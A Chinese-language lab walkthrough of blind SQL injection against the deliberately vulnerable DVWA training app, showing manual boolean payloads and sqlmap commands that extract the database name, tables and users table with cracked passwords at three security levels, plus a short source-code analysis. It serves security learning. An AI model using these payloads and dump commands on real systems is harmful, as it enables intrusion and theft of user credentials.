DVWA v1.9 SQL Injection (Blind) (手工+sqlmap)

盲注入有点不太好搞,如果不使用sqlmap,纯手工注入的话,过程略复杂。盲注时,当输入一个字符时,只会判断出存在与否,不会显示出具体的数据,如图7.0.1和图7.0.2。我们可以利用这一点慢慢测试,判断我们的猜测是否为真。

7.0.1

图7.0.1  判断存在

7.0.2

图7.0.2  判断不存在

实验拓扑如图7.0.3所示。

tp

图7.0.3  实验拓扑

7.1 Low级别

首先我们判断存在哪些数据库和表。

使用命令
1′ and length(database())<5#
可判断数据库名字的长度,执行这句话得到结果为真,效果如图7.0.1,我们可以继续判断,直到确定这个长度为4,如图7.1.1。

7.1.1

图7.1.1  数据库名长度为4

我们来猜数据库的名字。我们首先使用语句
1′ and left(database(),1)<‘a’#
进行测试,得到结果为假,如图7.1.2,当小于97时为真,如图7.1.3。经过多次测试后得到正确的值,“d”,如图7.1.4。经过最终测试,得到数据库名dvwa,如图7.1.5所示。

7.1.2

图7.1.2  测试结果为假

7.1.3

图7.1.3  测试结果为真

7.1.4

图7.1.4  测试结果为“d”

7.1.5

图7.1.5  得到数据库名dvwa

鉴于一直这么猜测比较浪费时间和精力,因此我们采用sqlmap进行测试。首先判断数据库名,使用命令
sqlmap -u “http://192.168.31.130:8080/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”PHPSESSID=943e2c4fd420bb116cd983f9c6e9ffa2;security=low” –current-db
得到图7.1.6的结果,可以发现数据库名dvwa和我们刚刚手工注入得到的一样。

7.1.6

图7.1.6  sqlmap获取数据库名

接下来使用命令
sqlmap -u “http://192.168.31.130:8080/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”PHPSESSID=943e2c4fd420bb116cd983f9c6e9ffa2;security=low” –current-db –tables -Ddvwa
获取该数据库中的表名,得到图7.1.7的结果。我们可以发现这里面有两张表,guestbook和users。

7.1.7

图7.1.7  sqlmap获取数据库的表名

我们使用命令
sqlmap -u “http://192.168.31.130:8080/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”PHPSESSID=943e2c4fd420bb116cd983f9c6e9ffa2;security=low” -T guestbook –columns
获取表结构,分别得到图7.1.8和图7.1.9。由两表结构知,我们需要的数据在users表中,因此接下来我们主要对users表进行测试。

7.1.8

图7.1.8  sqlmap获取guestbook表结构

7.1.9

图7.1.9  sqlmap获取users表结构

使用命令
sqlmap -u “http://192.168.31.130:8080/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”PHPSESSID=943e2c4fd420bb116cd983f9c6e9ffa2;security=low” -T users –dump
获取users表中的数据,得到图7.1.10的结果。我们可以发现,由于几个用户的密码过于简单,sqlmap可以直接使用自带的字典破解出明文。

7.1.10

图7.1.10  sqlmap获取users表中的数据

 

7.2 Medium级别

这个级别使用的是POST方式,因此我们更改一下sqlmap的命令,继续使用sqlmap。使用命令
sqlmap -u http://192.168.31.130:8080/DVWA/vulnerabilities/sqli_blind/#
–cookie=”PHPSESSID=943e2c4fd420bb116cd983f9c6e9ffa2;security=medium”
–data=”id=1&Submit=Submit” –level=2 –current-db
获取当前数据库名,如图7.2.1。

7.2.1

图7.2.1  sqlmap获取数据库名

接下来的过程和Low级别类似,最后使用命令
sqlmap -u http://192.168.31.130:8080/DVWA/vulnerabilities/sqli_blind/#
–cookie=”PHPSESSID=943e2c4fd420bb116cd983f9c6e9ffa2;security=medium”
–data=”id=1&Submit=Submit” –level=2 -T users –dump
能顺利获取数据,如图7.2.2所示。

7.2.3

图7.2.2  sqlmap获取users表中的数据

 

7.3 High级别

High级别采用cookie方式提交数据,我们首先使用BurpSuite拦截数据并保存至文件,使用该文件在sqlmap中进行测试,能获取数据,如图7.3.1。

7.3.1

图7.3.1  sqlmap测试注入点

接下来过程与以上级别类似,最后使用命令
sqlmap -r “/root/da.t” –level 2 -T users –dump
获取到users表中的所有数据,如图7.3.2。

7.3.2

图7.3.2  sqlmap获取users表中所有数据

 

7.4 分析

此过程如果使用传统的手工注入,那么将在猜测数据上花费大量时间,因此这里使用的是sqlmap工具。sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞并获取数据库,支持MySQL、Oracle、MS SQL Server、MS Access等数据库系统,功能强大,在渗透测试中广泛使用。

我们可以分析各个等级的源代码。

低等级的代码如图7.4.1所示。

7.4.1

图7.4.1  Low级别源代码

我们可以获取一些关键信息,包括提交方法(GET)、构造的查询语句、返回结果形式等。这里只是简单的GET方法,但由于不显示查询的数据库内容,只显示有或无,这给测试工作带来了一定的工作量。sqlmap基于自身强大的能力,对于这类盲注还是可以很快破解的。

Medium级别的代码如图7.4.2所示。

7.4.2

图7.4.2  Medium级别源码

这里和Low级别类似,只是将GET方法改成了POST方法,对输入的字符串进行转义,同时查询语句那里的id处少了单引号,而这些问题在6.2节我们已经解决过。对于sqlmap来讲,这更不是问题,分分钟能跑出结果,脱裤。

High级别源码如图7.4.3所示。

7.4.3

图7.4.3  High级别源代码

这里所使用的提价方法是COOKIE方法,其他和第6节和上述内容类似。与非盲注入相比,这里少了失败后die掉的内容,算是简化了一些过程。但这仍是能注入的,sqlmap也是很快能脱裤。

 原创文章,91tfboys.com版权所有,转载请注明出处。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据